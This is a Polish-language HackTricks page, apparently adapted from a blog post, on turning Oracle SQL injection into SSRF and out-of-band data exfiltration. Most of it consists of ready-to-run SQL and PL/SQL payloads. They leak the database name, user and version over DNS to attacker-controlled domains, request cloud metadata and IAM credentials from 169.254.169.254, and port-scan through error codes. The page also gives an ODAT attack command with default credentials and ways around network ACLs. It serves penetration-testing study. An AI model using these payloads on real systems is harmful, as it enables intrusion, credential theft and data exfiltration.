Oracle injection

Reading time: 9 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Zaserwuj ten post kopię z Wayback Machine usuniętego posta z https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Używanie Oracle do wykonywania żądań HTTP i DNS Out of Band jest dobrze udokumentowane, ale jako sposób na eksfiltrację danych SQL w iniekcjach. Zawsze możemy modyfikować te techniki/funkcje, aby robić inne SSRF/XSPA.

Instalacja Oracle może być naprawdę bolesna, szczególnie jeśli chcesz szybko skonfigurować instancję, aby wypróbować polecenia. Mój przyjaciel i kolega z Appsecco, Abhisek Datta, wskazał mi https://github.com/MaksymBilenko/docker-oracle-12c, co pozwoliło mi skonfigurować instancję na maszynie t2.large AWS Ubuntu i Docker.

Uruchomiłem polecenie docker z flagą --network="host", aby móc naśladować Oracle jako natywną instalację z pełnym dostępem do sieci, przez czas trwania tego wpisu na blogu.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Pakiety Oracle, które obsługują specyfikację URL lub nazwy hosta/numeru portu

Aby znaleźć jakiekolwiek pakiety i funkcje, które obsługują specyfikację hosta i portu, przeprowadziłem wyszukiwanie w Google na Oracle Database Online Documentation. Konkretne,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

Wynik wyszukiwania zwrócił następujące rezultaty (nie wszystkie mogą być użyte do wykonywania wychodzącej sieci)

  • DBMS_NETWORK_ACL_ADMIN
  • UTL_SMTP
  • DBMS_XDB
  • DBMS_SCHEDULER
  • DBMS_XDB_CONFIG
  • DBMS_AQ
  • UTL_MAIL
  • DBMS_AQELM
  • DBMS_NETWORK_ACL_UTILITY
  • DBMS_MGD_ID_UTL
  • UTL_TCP
  • DBMS_MGWADM
  • DBMS_STREAMS_ADM
  • UTL_HTTP

To proste wyszukiwanie oczywiście pomija pakiety takie jak DBMS_LDAP (który pozwala na podanie nazwy hosta i numeru portu), ponieważ strona dokumentacji po prostu kieruje cię do innej lokalizacji. Dlatego mogą istnieć inne pakiety Oracle, które można wykorzystać do wykonywania wychodzących żądań, które mogłem przeoczyć.

W każdym razie, przyjrzyjmy się niektórym z pakietów, które odkryliśmy i wymieniliśmy powyżej.

DBMS_LDAP.INIT

Pakiet DBMS_LDAP umożliwia dostęp do danych z serwerów LDAP. Funkcja init() inicjalizuje sesję z serwerem LDAP i przyjmuje nazwę hosta oraz numer portu jako argument.

Funkcja ta była wcześniej dokumentowana, aby pokazać eksfiltrację danych przez DNS, jak poniżej

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Jednakże, biorąc pod uwagę, że funkcja akceptuje nazwę hosta i numer portu jako argumenty, możesz to wykorzystać, aby działało jak skaner portów.

Oto kilka przykładów

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. wskazuje, że port jest zamknięty, podczas gdy wartość sesji wskazuje, że port jest otwarty.

UTL_SMTP

Pakiet UTL_SMTP jest zaprojektowany do wysyłania e-maili przez SMTP. Przykład podany na stronie dokumentacji Oracle pokazuje, jak można użyć tego pakietu do wysłania e-maila. Dla nas jednak interesującą rzeczą jest możliwość podania specyfikacji hosta i portu.

Poniżej przedstawiono prosty przykład z funkcją UTL_SMTP.OPEN_CONNECTION, z limitem czasu wynoszącym 2 sekundy.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

ORA-29276: transfer timeout wskazuje, że port jest otwarty, ale nie nawiązano połączenia SMTP, podczas gdy ORA-29278: SMTP transient error: 421 Service not available wskazuje, że port jest zamknięty.

UTL_TCP

Pakiet UTL_TCP oraz jego procedury i funkcje umożliwiają komunikację opartą na TCP/IP z usługami. Jeśli jest zaprogramowany dla konkretnej usługi, ten pakiet może łatwo stać się sposobem na dostęp do sieci lub wykonywać pełne żądania po stronie serwera, ponieważ wszystkie aspekty połączenia TCP/IP mogą być kontrolowane.

Przykład na stronie dokumentacji Oracle pokazuje, jak można użyć tego pakietu do nawiązania surowego połączenia TCP w celu pobrania strony internetowej. Możemy to nieco uprościć i użyć go do wysyłania żądań do instancji metadanych na przykład lub do dowolnej usługi TCP/IP.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Interesująco, dzięki możliwości tworzenia surowych żądań TCP, ten pakiet może być również używany do zapytań do usługi metadanych instancji wszystkich dostawców chmury, ponieważ typ metody i dodatkowe nagłówki mogą być przekazywane w żądaniu TCP.

UTL_HTTP i żądania sieciowe

Być może najczęściej stosowaną i szeroko udokumentowaną techniką w każdym poradniku na temat Out of Band Oracle SQL Injection jest pakiet UTL_HTTP. Pakiet ten jest zdefiniowany w dokumentacji jako - Pakiet UTL_HTTP wykonuje wywołania protokołu Hypertext Transfer Protocol (HTTP) z SQL i PL/SQL. Możesz go używać do uzyskiwania dostępu do danych w Internecie za pośrednictwem HTTP.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Możesz dodatkowo użyć tego do przeprowadzenia podstawowego skanowania portów za pomocą zapytań takich jak

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

ORA-12541: TNS:no listener lub TNS:operation timed out to oznaki, że port TCP jest zamknięty, podczas gdy ORA-29263: HTTP protocol error lub dane są oznaką, że port jest otwarty.

Innym pakietem, którego używałem w przeszłości z różnym powodzeniem, jest GETCLOB() metoda typu abstrakcyjnego HTTPURITYPE Oracle, która pozwala na interakcję z URL i zapewnia wsparcie dla protokołu HTTP. Metoda GETCLOB() jest używana do pobierania odpowiedzi GET z URL jako typ danych CLOB.

SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;

Dodatkowe pakiety i techniki (Oracle 19c → 23c)

UTL_INADDR – eksfiltracja oparta na DNS i odkrywanie hostów

UTL_INADDR udostępnia proste pomocnicze funkcje rozwiązywania nazw, które wywołują wychodzące zapytanie DNS z hosta bazy danych. Ponieważ wymagany jest tylko domena (nie potrzebny port/ACL), jest to niezawodny element do ślepej eksfiltracji, gdy inne połączenia sieciowe są zablokowane.

sql
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;

get_host_address() zwraca rozwiązany adres IP (lub zgłasza ORA-29257, jeśli rozwiązanie się nie powiedzie). Atakujący musi tylko obserwować nadchodzące zapytanie DNS na kontrolowanej domenie, aby potwierdzić wykonanie kodu.

DBMS_CLOUD.SEND_REQUEST – pełny klient HTTP w Autonomous/23c

Najnowsze edycje skoncentrowane na chmurze (Autonomous Database, 21c/23c, 23ai) są dostarczane z DBMS_CLOUD. Funkcja SEND_REQUEST działa jako uniwersalny klient HTTP, który obsługuje niestandardowe czasowniki, nagłówki, TLS i duże ciała, co czyni ją znacznie potężniejszą niż klasyczny UTL_HTTP.

sql
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username        => 'ignored',
password        => 'ignored');
END;
/

DECLARE
resp  DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri             => 'http://169.254.169.254/latest/meta-data/',
method          => 'GET',
timeout         => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/

Ponieważ SEND_REQUEST pozwala na dowolne docelowe URI, może być nadużywane za pomocą SQLi do:

  1. Wewnętrznego skanowania portów / SSRF do usług metadanych w chmurze.
  2. Ekstrakcji poza pasmem przez HTTPS (użyj Burp Collaborator lub tunelu ngrok).
  3. Wywołań do serwerów atakujących, nawet gdy starsze pakiety wywołania są wyłączone przez ACL.

ℹ️ Jeśli masz tylko klasyczną wersję on-prem 19c, ale możesz tworzyć procedury składowane w Javie, czasami możesz zainstalować DBMS_CLOUD z pakietu klienta OCI — przydatne w niektórych zleceniach.

Automatyzacja powierzchni ataku z ODAT

ODAT – Oracle Database Attacking Tool nadąża za nowoczesnymi wydaniami (testowane do 19c, 5.1.1 – kwi-2022). Moduły –utl_http, –utl_tcp, –httpuritype i nowszy –dbms_cloud automatycznie:

  • Wykrywają użyteczne pakiety wywołania/granty ACL.
  • Wyzwalają wywołania DNS i HTTP dla ślepej ekstrakcji.
  • Generują gotowe do skopiowania ładunki SQL dla Burp/SQLMap.

Przykład: szybkie sprawdzenie OOB z domyślnymi poświadczeniami (zajmuje się enumeracją ACL w tle):

bash
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob

Ostatnie ograniczenia i obejścia ACL sieciowych

Oracle zaostrzył domyślne ACL sieciowe w CPU z lipca 2023 — konta bez uprawnień otrzymują teraz ORA-24247: network access denied by access control list domyślnie. Dwa wzorce nadal pozwalają na wywołania przez SQLi:

  1. Docelowe konto posiada wpis ACL (DBMS_NETWORK_ACL_ADMIN.create_acl), który został dodany przez dewelopera dla integracji.
  2. Atakujący nadużywa rutyny z wysokimi uprawnieniami PL/SQL z prawami definicji (np. w aplikacji niestandardowej), która już ma AUTHID DEFINER i niezbędne uprawnienia.

Jeśli napotkasz ORA-24247 podczas eksploatacji, zawsze szukaj procedur do ponownego użycia:

sql
SELECT owner, object_name
FROM   dba_objects
WHERE  object_type = 'PROCEDURE'
AND  authid       = 'DEFINER';

(w wielu audytach przynajmniej jedna procedura raportowania/eksportu miała potrzebne uprawnienia).


References

  • Oracle Docs – DBMS_CLOUD.SEND_REQUEST package description and examples.
  • quentinhardy/odat – Oracle Database Attacking Tool (latest release 5.1.1, Apr-2022).

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks